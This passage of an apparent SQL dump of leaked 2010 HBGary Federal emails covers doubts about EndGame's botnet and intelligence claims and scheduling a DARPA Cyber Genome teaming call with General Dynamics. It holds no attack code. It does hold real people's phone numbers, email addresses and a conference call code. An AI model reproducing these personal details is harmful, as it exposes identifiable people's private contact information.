<aaron@hbgary.com>','/aaron@hbgary.com/new/1297001267.M206676P3547Q2743.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: 02.08.2010 Trip report EndGame.docx','That is what I guess I am a little concerned about. &nbsp;I am starting to get some \"spider senses\" that all is not what it appears to be. &nbsp;The call from Patraeus office could have been a chance happening, they got in on a good lead to see him and his staff and they were coordinating visit. &nbsp;Dunno. &nbsp;But they are awfully cagey about their data. &nbsp;They keep telling me that if their name gets out in the press they are done. &nbsp;Why? &nbsp;And now that I know that Greg and his team can infiltrate a botnet, for the Aurora report they did just that, well that is a little demystified. &nbsp;I look at the rest of the data and its just a lot of port/OS fingerprinting of remote systems. &nbsp;I may be getting to critical too fast, but I think we should definitely be skeptical.AaronOn Feb 17, 2010, at 10:25 AM, Masterson, Brian (Xetron) wrote:\r\n\r\nSome more interesting info regarding EndGame.&nbsp; They insinuated that they were doing work but appear not to be.Brian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 _____________________________________________\r\nFrom: Gray, Jarrod (Xetron)\r\nSent: Wednesday, February 17, 2010 7:57 AM\r\nTo: Masterson, Brian (Xetron)\r\nCc: Verock, Matthew (Xetron)\r\nSubject: RE: 02.08.2010 Trip report EndGame.docxTalked to Eric about End Game today. He said that the most interesting stuff that they are doing is on IRAD not on contract with anyone. He wondered if they had shown off any of the automated vulnerability analysis work. He also said that End Game does not have a contract with “them” (not sure if that means Trent’s branch or the bigger org). He was very curious how we found each other. Going as far as to say “we didn’t tell them about you.” Seemed like an odd comment.We were discussing this in relation to one or more tasks on the upcoming ECP. He said that if we saw a spot for them in that work that might be interesting.Jarrod_____________________________________________\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Wednesday, February 10, 2010 6:52 AM\r\nTo: Simoni, Martin P. (Xetron); Thompson, Bill (Xetron); Clontz, Greg (Xetron); Verock, Matthew (Xetron); Cleereman, Jim (Xetron); Cox, Kevin (Xetron)\r\nCc: Boozer, Robbin (Xetron); Brunemann, Clare (Xetron); Britton, Ben (Xetron); Dinardo, Michael (Xetron); Erickson, Neil (Xetron); Geiger, Chris M. (Xetron); Gibbs, Kevin (Xetron); Gray, Jarrod (Xetron); Henderson, Michael L. (Xetron); McNutt, Kenny (Xetron); Niermeyer, Chris (Xetron); Ott, Terry D. (Xetron); Peel, Jeff (Xetron); Williams, Justin (Xetron)\r\nSubject: 02.08.2010 Trip report EndGame.docxAll,Very interesting meeting with EndGame.&nbsp; These guys are really impressive.&nbsp; There is stuff in here on many fronts.&nbsp; I have include all on the To: line as there is impact to your current programs or customers.THESE NOTES CONTAIN PROPRIETARY INFORMATION COVERED BY OUR NDA WITH ENDGAME.\r\n&nbsp;&lt;&lt; File: 02.08.2010 Trip report EndGame.docx &gt;&gt; \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9295,'aaron_hbgary_com/9295.html'),(2744,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001269.M683439P3547Q2744.eml','\"Greg Hoglund\" <greg@hbgary.com>','Screwing around with Photoshop','\r\nI like the 3 panel display on HBGary mainsite.\r\n\r\nI am working on 3 images for:\r\nIncident Response\r\nThreat Intelligence\r\nInformation Operations\r\n\r\nThese are our thrust areas, so want to keep hammering them home.\r\n\r\nI spent a few minutes and threw this images together, just concepts right now.  I am not great with photoshop, but working on it.  Manadiants color seems to be Red, danger, emergency.  I am trying to focus on blue, calm, controlled, etc.  As I said I have most of the actual content done so just need to put it up.\r\n\r\nAre you good for the call today?  Need anything from me?\r\n\r\nAaron\r\n\r\n',10590,'aaron_hbgary_com/10590.html'),(2745,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001272.M898986P3547Q2745.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: 02.08.2010 Trip report EndGame.docx','Brian,How is the claerance process coming.  Anything?  Can larger ES help?AaronFrom my iPhoneOn Feb 17, 2010, at 10:25 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nSome more interesting info regarding EndGame.  They insinuated that they were doing work but appear not to be.\r\n\r\n\r\nBrian Masterson\r\n\r\nNorthrop Grumman/Xetron\r\n\r\nChief Technology Officer, IO Programs\r\n\r\nPh: 513-881-3591\r\n\r\nCell: 513-706-4848\r\n\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Gray, Jarrod (Xetron)\r\n\r\nSent: Wednesday, February 17, 2010 7:57 AM\r\n\r\nTo: Masterson, Brian (Xetron)\r\n\r\nCc: Verock, Matthew (Xetron)\r\n\r\nSubject: RE: 02.08.2010 Trip report EndGame.docx\r\n\r\n\r\n\r\n\r\nTalked to Eric about End Game today. He said that the most interesting stuff that they are doing is on IRAD not on contract with anyone. He wondered if they had shown off any of the automated vulnerability analysis work. He also said that End Game does not have a contract with “them” (not sure if that means Trent’s branch or the bigger org). He was very curious how we found each other. Going as far as to say “we didn’t tell them about you.” Seemed like an odd comment.\r\n\r\n\r\nWe were discussing this in relation to one or more tasks on the upcoming ECP. He said that if we saw a spot for them in that work that might be interesting.\r\n\r\n\r\nJarrod\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Masterson, Brian (Xetron)\r\n\r\nSent: Wednesday, February 10, 2010 6:52 AM\r\n\r\nTo: Simoni, Martin P. (Xetron); Thompson, Bill (Xetron); Clontz, Greg (Xetron); Verock, Matthew (Xetron); Cleereman, Jim (Xetron); Cox, Kevin (Xetron)\r\n\r\nCc: Boozer, Robbin (Xetron); Brunemann, Clare (Xetron); Britton, Ben (Xetron); Dinardo, Michael (Xetron); Erickson, Neil (Xetron); Geiger, Chris M. (Xetron); Gibbs, Kevin (Xetron); Gray, Jarrod (Xetron); Henderson, Michael L. (Xetron); McNutt, Kenny (Xetron); Niermeyer, Chris (Xetron); Ott, Terry D. (Xetron); Peel, Jeff (Xetron); Williams, Justin (Xetron)\r\n\r\nSubject: 02.08.2010 Trip report EndGame.docx\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\nVery interesting meeting with EndGame.  These guys are really impressive.  There is stuff in here on many fronts.  I have include all on the To: line as there is impact to your current programs or customers.\r\n\r\n\r\nTHESE NOTES CONTAIN PROPRIETARY INFORMATION COVERED BY OUR NDA WITH ENDGAME.\r\n\r\n\r\n &lt;&lt; File: 02.08.2010 Trip report EndGame.docx &gt;&gt; \r\n\r\n\r\n\r\n',5656,'aaron_hbgary_com/5656.html'),(2746,'2010-02-17','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001273.M112576P3547Q2746.eml','aaron@hbgary.com','Re: GD/HBGary: technical interchange: RE: DARPA Cyber Genome BAA','\r\nAaron,I have the meeting scheduled from 2:30 to 4 eastern and we can start the discussion at 2:30 and Greg can join us at 3, if ok with you.Chris\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Starr, Christopher H.Sent: Wed Feb 17 07:37:17 2010Subject: Re: GD/HBGary: technical interchange: RE: DARPA Cyber Genome BAA\r\nHi Chris,I talked to Greg. &nbsp;He will be on the call today. &nbsp;Is there any chance of moving it to 3pm?AaronOn Feb 16, 2010, at 4:02 PM, Starr, Christopher H. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, February 17, 2010 2:30 PM-4:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).Where: 866-765-5631, code 5057292#*~*~*~*~*~*~*~*~*~*GD &amp; HBGary: technical interchange: RE: DARPA Cyber Genome BAA866-765-5631, code 5057292#-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Technical interchange between HBGary and GD on innovative technical ideas for the DARPA Cyber Genome BAA-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Greg Hoglund of HBGary is expected to attend this meeting-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; We will also touch ono&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GD / HBGary teaming approach§&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Who primes what§&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Templates for establishing teaming agreementso&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Customer and competitive intelligenceCyber Genome DARPA-BAA-10-36:https://www.fbo.gov/index?tab=documents&amp;s=opportunity&amp;mode=form&amp;id=c34caee99a41eb14d4ca81949d4f2fde&amp;tabmode=list DARPA-BAA-10-36_Cyber_Genome _01.28.2010.docx (2409.73 kb)Questions? Contact:Chris Starr, 571-216-6140, Chris.Starr@gd-ais.com\r\n\r\n\r\n&lt;meeting.ics&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6311,'aaron_hbgary_com/6311.html'),(2747,'2010-02-17','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001273.M313781P3547Q2747.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: 02.08.2010 Trip report EndGame.docx','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI am still withholding judgement til Friday.&nbsp; Call me the\r\ngullible one.&nbsp; However, it is disconcerting what I have heard today.\r\n\r\nThe Patraeus thing could be that they just bought into a good\r\nstory.&nbsp;&nbsp; We know enough people that we can get the straight\r\nscoop.&nbsp;&nbsp; I have the question being asked to the 950th\r\ntoday.\r\n\r\nI can understand the concern about their name getting out, SiGovSys\r\ngot hell because of their stupid talking to the press. &nbsp;However, they are\r\ngood enough that they really just got spoken harshly too.&nbsp; They did not\r\nlose work because of it.\r\n\r\nDoing the botnet is not that difficult but doing it to the\r\ndegree that EndGame says that they have is what is impressive.\r\n\r\nI have not seen the data.&nbsp; If they only have port info\r\nthen, yeah, that would be disappointing.&nbsp; I am due a CD.&nbsp; Will check\r\nif it has come in.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 17, 2010 10:32 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: 02.08.2010 Trip report EndGame.docx\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThat is what I guess I am a little concerned about. &nbsp;I\r\nam starting to get some &quot;spider senses&quot; that all is not what it\r\nappears to be. &nbsp;The call from Patraeus office could have been a chance\r\nhappening, they got in on a good lead to see him and his staff and they were\r\ncoordinating visit. &nbsp;Dunno. &nbsp;But they are awfully cagey about their\r\ndata. &nbsp;They keep telling me that if their name gets out in the press they\r\nare done. &nbsp;Why? &nbsp;And now that I know that Greg and his team can infiltrate\r\na botnet, for the Aurora report they did just that, well that is a little\r\ndemystified. &nbsp;I look at the rest of the data and its just a lot of port/OS\r\nfingerprinting of remote systems. &nbsp;I may be getting to critical too fast,\r\nbut I think we should definitely be skeptical.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 17, 2010, at 10:25 AM, Masterson, Brian (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSome more\r\ninteresting info\r\nregarding EndGame.&nbsp; They insinuated that they were doing work but appear\r\nnot to be.\r\n\r\nBrian\r\nMasterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Gray, Jarrod (Xetron)\r\nSent: Wednesday, February 17, 2010 7:57 AM\r\nTo: Masterson, Brian (Xetron)\r\nCc: Verock, Matthew (Xetron)\r\nSubject: RE: 02.08.2010 Trip report EndGame.docx\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nTalked to\r\nEric about End Game today. He said that the most interesting stuff that they\r\nare doing is on IRAD not on contract with anyone. He wondered if they had shown\r\noff any of the automated vulnerability analysis work. He also said that End\r\nGame does not have a contract with &#8220;them&#8221; (not sure if that means\r\nTrent&#8217;s branch or the bigger org). He was very curious how we found each\r\nother. Going as far as to say &#8220;we didn&#8217;t tell them about\r\nyou.&#8221; Seemed like an odd comment.\r\n\r\nWe were\r\ndiscussing this in relation to one or more tasks on the upcoming ECP. He said\r\nthat if we saw a spot for them in that work that might be interesting.\r\n\r\nJarrod\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Wednesday, February 10, 2010 6:52 AM\r\nTo: Simoni, Martin P. (Xetron); Thompson, Bill (Xetron); Clontz, Greg\r\n(Xetron); Verock, Matthew (Xetron); Cleereman, Jim (Xetron); Cox, Kevin\r\n(Xetron)\r\nCc: Boozer, Robbin (Xetron); Brunemann, Clare (Xetron); Britton, Ben\r\n(Xetron); Dinardo, Michael (Xetron); Erickson, Neil (Xetron); Geiger, Chris M.\r\n(Xetron); Gibbs, Kevin (Xetron); Gray, Jarrod (Xetron); Henderson, Michael L.\r\n(Xetron); McNutt, Kenny (Xetron); Niermeyer, Chris (Xetron); Ott, Terry D. (Xetron);\r\nPeel, Jeff (Xetron); Williams, Justin (Xetron)\r\nSubject: 02.08.2010 Trip report EndGame.docx\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAll,\r\n\r\nVery interesting meeting\r\nwith EndGame.&nbsp; These guys are really impressive.&nbsp; There is stuff in\r\nhere on many fronts.&nbsp; I have include all on the To: line as there is\r\nimpact to your current programs or customers.\r\n\r\nTHESE NOTES CONTAIN\r\nPROPRIETARY INFORMATION COVERED BY OUR NDA WITH ENDGAME.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&lt;&lt; File:\r\n02.08.2010 Trip report EndGame.docx &gt;&gt; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1386,'aaron_hbgary_com/1386.html'),(2748,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001273.M798525P3547Q2748.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: GD/HBGary: technical interchange: RE: DARPA Cyber Genome BAA','Sounds good.From my iPhoneOn Feb 17, 2010, at 11:15 AM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\nAaron,I have the meeting scheduled from 2:30 to 4 eastern and we can start the discussion at 2:30 and Greg can join us at 3, if ok with you.Chris\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Wed Feb 17 07:37:17 2010Subject: Re: GD/HBGary: technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\nHi Chris,I talked to Greg.  He will be on the call today.  Is there any chance of moving it to 3pm?AaronOn Feb 16, 2010, at 4:02 PM, Starr, Christopher H. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, February 17, 2010 2:30 PM-4:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).Where: 866-765-5631, code 5057292#\r\n*~*~*~*~*~*~*~*~*~*GD &amp; HBGary: technical interchange: RE: DARPA Cyber Genome BAA\r\n866-765-5631, code 5057292#\r\n-       Technical interchange between HBGary and GD on innovative technical ideas for the DARPA Cyber Genome BAA\r\n-       Greg Hoglund of HBGary is expected to attend this meeting-       We will also touch on\r\no       GD / HBGary teaming approach\r\n§       Who primes what\r\n§       Templates for establishing teaming agreements\r\no       Customer and competitive intelligence\r\n\r\nCyber Genome DARPA-BAA-10-36:\r\nhttps://www.fbo.gov/index?tab=documents&amp;s=opportunity&amp;mode=form&amp;id=c34caee99a41eb14d4ca81949d4f2fde&amp;tabmode=list \r\nDARPA-BAA-10-36_Cyber_Genome _01.28.2010.docx (2409.73 kb)\r\nQuestions? Contact:\r\nChris Starr, 571-216-6140, Chris.Starr@gd-ais.com\r\n\r\n\r\n\r\n&lt;meeting.ics&gt;\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',5097,'aaron_hbgary_com/5097.html'),(2749,'2010-02-17','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001274.M241800P3547Q2750.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: GD/HBGary: technical interchange: RE: DARPA Cyber Genome BAA','Aaron,\r\n \r\nWith you and Greg on this call I don&#39;t see a need for me to be on it, unless you want me to.\r\n \r\nBob\r\n---------- Forwarded message ----------From: Starr, Christopher H. &lt;Chris.Starr@gd-ais.com&gt;\r\nDate: Wed, Feb 17, 2010 at 11:26 AMSubject: GD/HBGary: technical interchange: RE: DARPA Cyber Genome BAATo: &quot;Upchurch, Jason R.&quot; &lt;jason.upchurch@gd-ais.com&gt;, &quot;Rodriguez, Harold&quot; &lt;Harold.Rodriguez@gd-ais.com&gt;, &quot;Raygoza, Daniel&quot; &lt;Daniel.Raygoza@gd-ais.com&gt;, &quot;Bojaxhi, Hermes&quot; &lt;Hermes.Bojaxhi@gd-ais.com&gt;, &quot;Lotas, Michael S.&quot; &lt;Michael.Lotas@gd-ais.com&gt;, &quot;Harlow, Douglas M.&quot; &lt;Douglas.Harlow@gd-ais.com&gt;, &quot;Wenthold, Russell L.&quot; &lt;russ.wenthold@gd-ais.com&gt;, &quot;Guthrie, Gary R.&quot; &lt;Gary.Guthrie@gd-ais.com&gt;, &quot;Daly, Patrick E.&quot; &lt;Patrick.Daly@gd-ais.com&gt;, &quot;McFadden, Frank E.&quot; &lt;Frank.McFadden@gd-ais.com&gt;, &quot;Wilson, Ben N.&quot; &lt;Ben.Wilson@gd-ais.com&gt;, &quot;Schmidt, Ken J.&quot; &lt;Ken.Schmidt@gd-ais.com&gt;, &quot;Kowalski, Bobby Jim&quot; &lt;BJ.Kowalski@gd-ais.com&gt;, &quot;Johnson, Eric M.&quot; &lt;eric.johnson@gd-ais.com&gt;, &quot;Aaron Barr (HBGary)&quot; &lt;aaron@hbgary.com&gt;, &quot;Ted Vera (HBGary)&quot; &lt;ted@hbgary.com&gt;, &quot;Bob Slapnik (HBGary)&quot; &lt;bob@hbgary.com&gt;, &quot;Greg Hoglund (HBGary)&quot; &lt;greg@hbgary.com&gt;, &quot;Rich Cummings (HBGary)&quot; &lt;rich@hbgary.com&gt;\r\n\r\n\r\nWhen: Wednesday, February 17, 2010 2:30 PM-4:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: 866-765-5631, code 5057292#\r\n*~*~*~*~*~*~*~*~*~*\r\nGD &amp; HBGary: technical interchange: RE: DARPA Cyber Genome BAA\r\n866-765-5631, code 5057292#\r\n\r\n\r\n-       Technical interchange between HBGary and GD on innovative technical ideas for the DARPA Cyber Genome BAA\r\n\r\n-       Greg Hoglund of HBGary is expected to attend this meeting (Greg will join us about 30 minutes into the discussion)\r\n\r\n-       We will also touch on\r\n\r\no       GD / HBGary teaming approach\r\n\r\n§       Who primes what\r\n\r\n§       Templates for establishing teaming agreements\r\n\r\no       Customer and competitive intelligence\r\n\r\n\r\n\r\nCyber Genome DARPA-BAA-10-36:\r\n\r\nhttps://www.fbo.gov/index?tab=documents&amp;s=opportunity&amp;mode=form&amp;id=c34caee99a41eb14d4ca81949d4f2fde&amp;tabmode=list \r\n\r\nDARPA-BAA-10-36_Cyber_Genome _01.28.2010.docx (2409.73 kb)\r\n\r\n\r\n\r\nQuestions? Contact:\r\nChris Starr, 571-216-6140, Chris.Starr@gd-ais.com\r\n\r\n\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',15506,'aaron_hbgary_com/15506.html'),(2750,'2010-02-17','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001274.M42476P3547Q2749.eml','\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>,\"Rodriguez, Harold\" <Harold.Rodriguez@gd-ais.com>,\"Raygoza, Daniel\" <Daniel.Raygoza@gd-ais.com>,\"Bojaxhi, Hermes\" <Hermes.Bojaxhi@gd-ais.com>,\"Lotas, Michael S.\" <Michael.Lotas@gd-ais.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Wenthold, Russell L.\" <russ.wenthold@gd-ais.com>,\"Guthrie, Gary R.\" <Gary.Guthrie@gd-ais.com>,\"Daly, Patrick E.\" <Patrick.Daly@gd-ais.com>,\"McFadden, Frank E.\" <Frank.McFadden@gd-ais.com>,\"Wilson, Ben N.\" <Ben.Wilson@gd-ais.com>,\"Schmidt, Ken J.\" <Ken.Schmidt@gd-ais.com>,\"Kowalski, Bobby Jim\" <BJ.Kowalski@gd-ais.com>,\"Johnson, Eric M.\" <eric.johnson@gd-ais.com>,\"Aaron Barr (HBGary)\" <aaron@hbgary.com>,\"Ted Vera (HBGary)\" <ted@hbgary.com>,\"Bob Slapnik (HBGary)\" <bob@hbgary.com>,\"Greg Hoglund (HBGary)\" <greg@hbgary.com>,\"Rich Cummings (HBGary)\" <rich@hbgary.com>','GD/HBGary: technical interchange: RE: DARPA Cyber Genome BAA','\r\n\r\n\r\n\r\n\r\nGD/HBGary: technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, February 17, 2010 2:30 PM-4:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 866-765-5631, code 5057292#\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nGD &amp; HBGary: technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\n866-765-5631, code 5057292#\r\n\r\n\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Technical interchange between HBGary and GD on innovative technical ideas for the DARPA Cyber Genome BAA\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Greg Hoglund of HBGary is expected to attend this meeting (Greg will join us about 30 minutes into the discussion)\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; We will also touch on\r\n\r\no&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GD / HBGary teaming approach\r\n\r\n&#167;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Who primes what\r\n\r\n&#167;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Templates for establishing teaming agreements\r\n\r\no&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Customer and competitive intelligence\r\n\r\n\r\n\r\n\r\n\r\nCyber Genome DARPA-BAA-10-36:\r\n\r\nhttps://www.fbo.gov/index?tab=documents&amp;s=opportunity&amp;mode=form&amp;id=c34caee99a41eb14d4ca81949d4f2fde&amp;tabmode=list \r\n\r\nDARPA-BAA-10-36_Cyber_Genome _01.28.2010.docx (2409.73 kb)\r\n\r\n\r\n\r\n\r\n\r\nQuestions? Contact:\r\n\r\nChris Starr, 571-216-6140, Chris.Starr@gd-ais.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n',473,'aaron_hbgary_com/473.html'),(2751,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001274.M445475P3547Q2751.eml','\"Rich Cummings\" <rich@hbgary.com>','Nda ano','Hey Rich,\r\n\r\nAre u in comma with these guys? should I drop it?  Curious if they\r\nstill want to talk about io or have classified discussions.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',7476,'aaron_hbgary_com/7476.html'),(2752,'2010-02-17','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297001274.M632922P3547Q2752.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Nda ano','On 2/17/2010 11:49 AM, Aaron Barr wrote:\r\n> Hey Rich,\r\n>\r\n> Are u in comma with these guys? should I drop it?  Curious if they\r\n> still want to talk about io or have classified discussions.\r\n>\r\n> Aaron\r\n>\r\n>   From my iPhone\r\n>    \r\nDrop it for now.   I called Katelyn today and emailed her.  I\'m going to \r\ncall David himself today as well to see about the way forward.  I will \r\nkeep you posted.\r\n\r\nRC\r\n',14173,'aaron_hbgary_com/14173.html'),(2753,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001274.M936568P3547Q2753.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: Nda ano','K\r\n\r\n From my iPhone\r\n\r\nOn Feb 17, 2010, at 11:52 AM, Rich Cummings  wrote:\r\n\r\n> On 2/17/2010 11:49 AM, Aaron Barr wrote:\r\n>> Hey Rich,\r\n>>\r\n>> Are u in comma with these guys? should I drop it?  Curious if they\r\n>> still want to talk about io or have classified discussions.\r\n>>\r\n>> Aaron\r\n>>\r\n>>  From my iPhone\r\n>>\r\n> Drop it for now.   I called Katelyn today and emailed her.  I\'m\r\n> going to call David himself today as well to see about the way\r\n> forward.  I will keep you posted.\r\n>\r\n> RC\r\n',11025,'aaron_hbgary_com/11025.html'),(2754,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001275.M136982P3547Q2754.eml','\"Shows, Bob (IS)\" <rj.shows@ngc.com>,\"Shows, Bob (IS)\" <rj.shows@ngc.com>','Re: 624th Ops Center--Next Steps','Bob/mike,I am interested to get your feedback on what u think of this approach.  It&#39;s not the answer but I think it&#39;s one of the right starting points and I think it will resonate with customers.  I am also working on some dynamic defense capabilities with ours and our partner tools.  This will leverage the threat intelligence center model as well.\r\nYou guys talk to a lot of the customers so interested to get your take.Aaron From my iPhoneOn Feb 15, 2010, at 9:39 AM, &quot;Shows, Bob (IS)&quot; &lt;rj.shows@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nUsed a ‘sent’\r\nemail below; this should work better!\r\n\r\n \r\n\r\nRobert &#39;Bob&#39;\r\nShows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Shows, Bob (IS) \r\n\r\nSent: Monday, February 15, 2010 8:36 AM\r\nTo: Shows, Bob (IS)\r\nCc: Edwards, Michael (CORP)\r\nSubject: RE: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron,\r\n\r\n \r\n\r\nWeather and travel\r\nreally de-railed my schedule last week.  I  will catch-up with you\r\nthis week. \r\n\r\n \r\n\r\nI reviewed the\r\nAurora brochure—a very sophisticated presentation.  Please help me\r\nunderstand how this will be used?  Was it an assessment specified for a\r\nspecific organization?  \r\n\r\n \r\n\r\nHopefully Mike\r\nwill be able to assist as we expand our relationship with the 24th\r\nNAF and 624th Operations Center—he’s still grieving over\r\nyour departure from NGC!\r\n\r\n \r\n\r\nBest of the day, \r\n\r\n \r\n\r\nRobert &#39;Bob&#39;\r\nShows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Shows, Bob (IS) \r\n\r\nSent: Tuesday, February 09, 2010 9:44 AM\r\nTo: Aaron Barr\r\nSubject: RE: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron, \r\n\r\n \r\n\r\nNo word back from\r\nVickie—so I take that as a “no”.   That’s\r\nfine since we can get to many consultants on our own.  Gen (Ret) Tom\r\nHobbins is back onboard with NGC—he brings a lot.   I’ll\r\ncatch-up with you Wed or Thurs to work next steps.   Let me know if\r\none timeframe is better than another to call.  \r\n\r\n \r\n\r\nCheers,\r\n\r\n \r\n\r\nRobert &#39;Bob&#39;\r\nShows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 08, 2010 10:17 PM\r\nTo: Shows, Bob (IS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHi Bob,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nJust checking in to see any status on this effort.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Jan 29, 2010, at 5:46 PM, Shows, Bob (IS) wrote:\r\n\r\n\r\n\r\n 